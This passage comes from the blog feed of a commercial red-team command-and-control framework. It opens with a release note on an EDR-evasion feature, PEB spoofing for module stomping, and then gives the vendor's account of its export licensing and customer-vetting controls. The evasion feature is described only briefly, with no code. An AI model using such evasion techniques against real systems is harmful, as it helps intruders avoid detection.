  <li>PEB spoofing for module stomping: Nighthawk has always provided a module stomping feature since release. This feature has however been enhanced with this release, allowing the operator to spoof the module name used for the backing module in the PEB. This feature provides additional evasion to EDR detections that expect certain events to occur from specific modules.</li>
</ul>

<p>Nighthawk 0.2.1 will be made available for customer download this week, please watch out for announcements.</p>

<p>Hacky Halloween all! – <a href="https://twitter.com/mdseclabs" target="_blank" rel="noreferrer noopener">@MDSecLabs</a></p>]]></content><author><name>Nighthawk C2</name><email>nighthawk [at] mdsec [dot] co [dot] uk</email></author><category term="nighthawk" /><category term="0.2.1" /><category term="c2" /><category term="redteam" /><category term="adversary simulation" /><summary type="html"><![CDATA[Introducing Nighthawk, an advanced command-and-control framework.]]></summary></entry><entry><title type="html">Nighthawk - With Great Power Comes Great Responsibility</title><link href="https://nighthawkc2.io/with-great-power-comes-great-responsibility/" rel="alternate" type="text/html" title="Nighthawk - With Great Power Comes Great Responsibility" /><published>2022-11-01T00:00:00+00:00</published><updated>2022-11-01T00:00:00+00:00</updated><id>https://nighthawkc2.io/with-great-power-comes-great-responsibility</id><content type="html" xml:base="https://nighthawkc2.io/with-great-power-comes-great-responsibility/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>Recently, Proofpoint released a blog <a href="https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice" target="_blank" rel="noreferrer noopener">post</a> entitled “Nighthawk: An Up-and-Coming Pentest Tool Likely to Gain Threat Actor Notice”. In this post, Proofpoint outlined a campaign used by a legitimate red team customer of Nighthawk and go on to describe some of the functionality available in our May ‘22 release, obtained through reverse engineering. It also makes unsubstantiated and speculative projections that Nighthawk could be abused by threat actors in the future. This subsequently led to various questions over both Twitter and e-mail about what precautions we take when distributing Nighthawk. In this post, we’ll address some of these questions.</p>

<p>Firstly though, we would like to note that Proofpoint did not approach us in advance of release of their post nor ask us to confirm whether or not the activity was indeed legitimate. Instead, they irresponsibly documented Nighthawk’s use of a number of unpublished EDR bypass techniques which will no doubt now come to the attention of bad actors looking to level up their own frameworks.</p>

<p>Having previously been used as the in-house c2 by the MDSec red team, we made the decision to commercialise Nighthawk in 2021; a decision that was not taken lightly. However, in order to justify the continued research and development effort and support an ever growing development team, as well as fund the future roadmap of innovations we had planned, strategies to monetise the c2 needed to be sought.</p>

<p>Having witnessed years of actors abusing other frameworks, we were starkly aware of the risks of developing and distributing commercial intrusion software. As such, we devised a number of procedural and technical controls to minimise our exposure to the software falling in to the wrong hands.</p>

<p>Nighthawk is considered “Military and dual-use goods” by the UK government and as such its use is export controlled. Specifically, Nighthawk falls under the 4D004 category of “intrusion software”:</p>

<p>“<strong>4D Software</strong>
4D004 “Software” specially designed or modified for the generation, command and control, or delivery of “intrusion software”.”</p>

<p>As such, an export license is required in order to export the software outside of the UK. Prior to commercialising Nighthawk and following vetting by the Department of International Trade, MDSec was granted several Open General Licenses (OGL and GEA) to facilitate distribution across EU member states, Australia, Canada, Japan, New Zealand, Norway, Switzerland (including Liechtenstein) and the United States. While it is possible to apply for individual licenses (SIELs) to export to companies in other countries, at the time we made the conscious decision that we would not do so and to date have outright rejected any enquires that deviate from the countries where existing licenses allow us to export to. Indeed, MDSec has rejected many more approaches to purchase the software than we have accepted for this reason.</p>

<p>That of course does not preclude bad actors setting up shell companies and attempting to buy the software or attempting to use resellers in these countries and we are abundantly aware of this as a potential “bypass”. As such, for every Nighthawk enquiry we obtain details about the registered company, end user locations, ultimate beneficial owner and ask for documentation around their intended use cases. With these details we proceed to vet each company to ensure that they are not only legitimate, but that they are indeed likely to use the software for lawful red team operations.</p>

<p>Nighthawk has a minimum three seat license requirement, as such we do not sell to individuals, contractors or small single operator red teams. Despite being publicly lambasted for this decision over social media in the past, we considered this part of our responsible distribution policy and has made our job of vetting purchase enquiries much easier as, for the most part, the price point and seat requirements put the product in the realm of consideration for only serious and established red teams; coincidentally those who we are most interested in doing business with.</p>

<p>Many of the enquiries we receive about Nighthawk request a trial of the product prior to purchasing. As seen with Cobalt Strike and other products in the past, self hosted trial licenses are one of the most likely ways a product will be exposed. As such, MDSec do not offer self hosted trials of Nighthawk. Instead, on the rare occasions that the vetted prospective customers insist on a hands-on evaluation of the product in advance of purchase, we offer them access to an isolated MDSec hosted lab environment containing the product where a number of technical controls have been put in place to limit both accidental and intentional exposure of the product. Prior to access to this environment, MDSec request that the prospective customer sign a mutual non-disclosure agreement and agree to several conditions that prohibit the product or its artifacts been extracted from the lab or reverse engineered within it.</p>

<p>For the majority of prospects, MDSec provide an online two hour virtual demonstration of the product to potential customers which provides us with the opportunity to (virtually) meet them, further reducing the likelihood of bad actors anonymous purchasing the product.</p>

<p>Once the vetting process is complete and the purchase is agreed, access to the product and its updates is distributed via user accounts on a multi-factor authentication protected portal. We explicitly do not provide downloads through API key or simple online forms where the download cannot be attributed to an individual. While we acknowledge that this approach does create additional inconvenience for the customer, our belief is that it does provide additional confidence that the downloader is who we expect and that an API key hasn’t been accidentally leaked or shared.</p>

<p>These are some of the many soft and procedural controls that we put in place to control distribution and sale of the software. However, these are not the only controls to consider and a number of technical controls are also in place. While we do not intend to delve too deeply in to how these are implemented to maintain their integrity, what we will say is that every build of Nighthawk is unique and not only the generated artifacts but various other components of the framework can be attributed back to the end user through the implementation of a variety of watermarks. In addition to the watermarks, operational usage of the c2 of course requires a license file which is issued in accordance with the validity of the license period. While we have not seen any abuse of the software, we reserve the right to revoke any licenses that are misused.</p>

<p>While we fully understand any licensing system can be cracked (we’re hackers after all!), we firmly believe that the layered mixture of soft and technical controls that have been implemented stand us in good stead to responsibly distribute the product to responsible customers.</p>

<p>MDSec takes purported misuse of its products extremely seriously and should any defensive vendors wish to confirm the legitimacy of any activity, we encourage them to reach out to us using <code class="language-plaintext highlighter-rouge">support@nighthawkc2.io</code> where we’ll be more than happy to provide assistance without attribution.</p>]]></content><author><name>Nighthawk C2</name><email>nighthawk [at] mdsec [dot] co [dot] uk</email></author><category term="nighthawk" /><category term="0.2" /><category term="c2" /><category term="redteam" /><category term="adversary simulation" /><summary type="html"><![CDATA[With Great Power Comes Great Responsibility]]></summary></entry></feed>